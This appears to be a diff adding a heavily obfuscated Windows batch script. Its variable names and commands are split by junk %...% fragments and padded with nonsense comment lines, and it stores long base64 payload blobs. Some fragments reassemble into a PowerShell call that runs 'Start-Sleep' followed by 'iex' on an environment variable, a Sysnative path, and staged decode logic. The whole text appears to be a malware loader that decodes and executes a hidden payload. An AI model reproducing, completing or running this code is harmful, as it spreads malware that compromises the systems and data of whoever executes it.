+sEt xNF82uy=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
+:%r8Q5AH%:%bsdcUR% %MGZNgag% kkalog krntik kcech divampbo pstguh oqilddit odraz qimroeaa hsdba
+%ZxxDuQHc%sE%YqYg4uJt%T%c48tuFx% "gBiBce=%gxpRKP48%S%CJUyQY0%ta%ZH1DKD%rt-Sleep%OsioTO%^ -Se%P1975LE%co%ALMUacfC%nds^ 1;iex^ $env:n%Nh08kuZB%ZaRCF"
+%da48EV%goto%qrWggqJa% :uS1ZJ[JQ
+%DLuF4q7O%::  knidht houordcse hforstvo otewliu agrese qyvochas zxvinit
+
+:uNeAZ0
+s%ZOCJMr%e%TSNOqpbP%t "s]1yhMH=nhost."
+
+%INgUoIv%s%Y4uQteqs%et "_euBls=t=%windir%\"
+s%tX4UUO%e%sprwzrY7%t%TPdlPc% "yD)(Lk0[=[quQd"&& se%eZH5G3%t "sl}YM66=Sysnativ"&& %B2qrvaDg%s%MY4EMyGA%et%YOWuac5% "awZQ)rV=SeT " &&%AcFzxxK%set%gBoXupfm% "tTskIZ=e\co"&&%AyJFQ5%s%OymAKl4E%et "y5d_4is=exe"
+%awZQ)rV%%yD)(Lk0[%%_euBls%%sl}YM66%%tTskIZ%%s]1yhMH%%y5d_4is%
+set "lA[JRAj[=[quQd"&& %CtZ5SuB%s%wB9L7I%e%oxbtpGP%t%dBTNfwAN% "t]gEW4}Q=if " &&s%JZeCcUCH%e%vnANML%t "zNOH)gF7=%OWi)KCP% "&& %aSbs3eB%s%AiKecK%et "J]lkl6B}=t=%OWi)KCP%"&& %rts3gH%s%bNEF14r%e%noKTLItl%t "SJ}6xzh=SEt " && %HJzTstp%s%Pi2JvK81%e%a90MisdO%t%jzlSGxfR% "))3C0so=exist "
+%t]gEW4}Q%%))3C0so%%zNOH)gF7%%SJ}6xzh%%lA[JRAj[%%J]lkl6B}%
+got%iQIuqrfJ%o :b}2Ckx15
+%u0yzar%r%PiurzON%Em%uKdre15M% %uiFzc8fK% zeligto wtavgac abenicr nohcab vorgnda plnh havran
+:mP{U48I
+%Cg4lp5E1%s%PbbFI1M%et "rJGgz{t=7VYdp!O" && %WoIBLi0%se%mMFtvl%t%fQQc7p% "Q3oLay=t!ll"
+se%JIU5B3Oh%t%ioBSg4% "Y_HcZYSH=p2Cd!nd"
+s%vUtmLXw%et%kdjAfgA0% "jcZVaL=Er2y" &&se%gHB8eQz%t%B3lSq5tP% "ptFYe6=84C!r"&& s%ws3lAIIG%e%d4TyUI%t%egpzzd% "EMpyips=u!oAW"
+se%ZzmaPMlw%t "rCkxlY]w=M9gN3!xA" &&%WWIdqJ8%set%l2lBhwrl% "CR6X1S=OERjgr!x"&&se%vbCAH4mH%t "HMnfW_3d=aJGX!xN"&&set "JMIF10mN=gW!k7E"
+set "TEXvrc=TrQ0J=j"
+%ZYktAcV%se%oS36jg%t "NDvsw9=RQ!Ra"
+%rjIFey8%se%pivz8VjK%t%zGRzOzhy% "HiK)IxTz=NQFeP!kd" &&%FrtBju86%se%g7Eevj%t "gY7y6]H=F82u"
+se%dFaBMt%t%dlpKP3l% "GJOewf=ZlyB"
+s%BAhgrBu%e%qfDS86%t%LkyQPFe3% "}hJU8H=0wojr!S" &&set "]3jayrxh=vpss"&& %iU0eu5Is%se%E1uVyUR%t%Lzluav% "v8xv6P{=D1pa" &&s%NLQ8oN%e%AvRT7ynl%t "kP0n[sB=mPoW!TG"&&s%YLeVSYJ%et "_l65zR=y!am"&&%vzLP33B8%s%btePns%et "uHFwBk8V=oztM"
+s%FMbQid%e%MJ9c3rDj%t%aqE4T4b4% "gjB{OZ=WiRpF" && set "q}sd1Z=8D!u9Hr"
+g%prsVGP%o%SsqYBO%t%KNdhfIC%o%tEkjCkaD% :CPIKZRJk
+%XGLxenZ%R%WQmOthu%Em%MoH6IYP% %EyDJn6Ug% popod chata kaar pokles rrbudovgae odvxolab eamolki drozd drtoe mblvcqe daohra
+:tD1l[XCl
+seT OD1pagW=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
+seT "CWJR8ooo=&$cTSif%Q1GQAkt%j; "
+sEt ih0wojr=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